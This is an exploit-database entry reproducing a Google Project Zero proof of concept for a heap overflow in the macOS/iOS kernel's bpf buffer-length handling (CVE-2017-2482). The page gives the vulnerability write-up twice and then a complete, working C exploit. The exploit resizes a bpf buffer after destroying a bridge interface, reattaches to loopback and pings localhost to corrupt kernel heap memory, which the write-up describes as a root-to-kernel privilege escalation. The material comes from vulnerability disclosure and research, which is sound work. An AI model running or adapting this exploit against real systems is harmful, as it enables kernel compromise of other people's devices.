macOS/iOS Kernel 10.12.3 (16D32) - 'bpf' Heap Overflow



EKU-ID: 6448 CVE: 2017-2482 OSVDB-ID:
Author: Google Security Research Published: 2017-04-05 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1125
 
The bpf ioctl BIOCSBLEN allows userspace to set the bpf buffer length:
 
  case BIOCSBLEN:     /* u_int */
    if (d->bd_bif != 0)
      error = EINVAL;
    else {
      u_int size;
 
      bcopy(addr, &size, sizeof (size));
 
      if (size > bpf_maxbufsize)
        size = bpf_maxbufsize;
      else if (size < BPF_MINBUFSIZE)
        size = BPF_MINBUFSIZE;
      bcopy(&size, addr, sizeof (size));
      d->bd_bufsize = size;
    }
    break;
 
 
d->bd_bif is set to the currently attached interface, so we can't change the length if we're already
attached to an interface.
 
There's no ioctl command to detach us from an interface, but we can just destroy the interface
(by for example attaching to a bridge interface.) We can then call BIOCSBLEN again with a larger
length which will set d->bd_bufsize to a new, larger value.
 
If we then attach to an interface again we hit this code in bpf_setif:
 
    if (d->bd_sbuf == 0) {
      error = bpf_allocbufs(d);
      if (error != 0)
        return (error);
 
This means that the buffers actually won't be reallocated since d->bd_sbuf will still point to the
old buffer. This means that d->bd_bufsize is out of sync with the actual allocated buffer size
leading to heap corruption when packets are receive on the target interface.
 
This PoC sets a small buffer length then creates and attaches to a bridge interface. It then destroys
the bridge interface (which causes bpfdetach to be called on that interface, clearing d->bd_bif for our
bpf device.)
 
We then set a large buffer size and attach to the loopback interface and sent some large ping packets.
 
This bug is a root -> kernel priv esc
 
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/
 
//ianbeer
#if 0
MacOS/iOS kernel heap overflow in bpf
 
The bpf ioctl BIOCSBLEN allows userspace to set the bpf buffer length:
 
    case BIOCSBLEN:         /* u_int */
        if (d->bd_bif != 0)
            error = EINVAL;
        else {
            u_int size;
 
            bcopy(addr, &size, sizeof (size));
 
            if (size > bpf_maxbufsize)
                size = bpf_maxbufsize;
            else if (size < BPF_MINBUFSIZE)
                size = BPF_MINBUFSIZE;
            bcopy(&size, addr, sizeof (size));
            d->bd_bufsize = size;
        }
        break;
 
 
d->bd_bif is set to the currently attached interface, so we can't change the length if we're already
attached to an interface.
 
There's no ioctl command to detach us from an interface, but we can just destroy the interface
(by for example attaching to a bridge interface.) We can then call BIOCSBLEN again with a larger
length which will set d->bd_bufsize to a new, larger value.
 
If we then attach to an interface again we hit this code in bpf_setif:
 
        if (d->bd_sbuf == 0) {
            error = bpf_allocbufs(d);
            if (error != 0)
                return (error);
 
This means that the buffers actually won't be reallocated since d->bd_sbuf will still point to the
old buffer. This means that d->bd_bufsize is out of sync with the actual allocated buffer size
leading to heap corruption when packets are receive on the target interface.
 
This PoC sets a small buffer length then creates and attaches to a bridge interface. It then destroys
the bridge interface (which causes bpfdetach to be called on that interface, clearing d->bd_bif for our
bpf device.)
 
We then set a large buffer size and attach to the loopback interface and sent some large ping packets.
 
This bug is a root -> kernel priv esc
 
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <net/bpf.h>
#include <net/if.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
 
int main(int argc, char** argv) {
  int fd = open("/dev/bpf3", O_RDWR);
  if (fd == -1) {
    perror("failed to open bpf device\n");
    exit(EXIT_FAILURE);
  }
 
  // first set a small length:
  int len = 64;
  int err = ioctl(fd, BIOCSBLEN, &len);
  if (err == -1) {
    perror("setting small buffer length");
    exit(EXIT_FAILURE);
  }
 
  // create an interface which we can destroy later:
  system("ifconfig bridge7 create");
 
  // connect the bpf device to that interface, allocating the buffer
  struct ifreq ifr;
  strcpy(ifr.ifr_name, "bridge7");
  err = ioctl(fd, BIOCSETIF, &ifr);
  if (err == -1) {
    perror("attaching to interface");
    exit(EXIT_FAILURE);
  }
 
  // remove that interface, detaching us:
  system("ifconfig bridge7 destroy");
 
  // set a large buffer size:
  len = 4096;
  err = ioctl(fd, BIOCSBLEN, &len);
  if (err == -1) {
    perror("setting large buffer length");
    exit(EXIT_FAILURE);
  }
 
  // connect to a legit interface with traffic:
  strcpy(ifr.ifr_name, "lo0");
  err = ioctl(fd, BIOCSETIF, &ifr);
  if (err == -1) {
    perror("attaching to interface");
    exit(EXIT_FAILURE);
  }
 
  // wait for a packet...
  system("ping localhost -s 1400");
  
  return 0;
}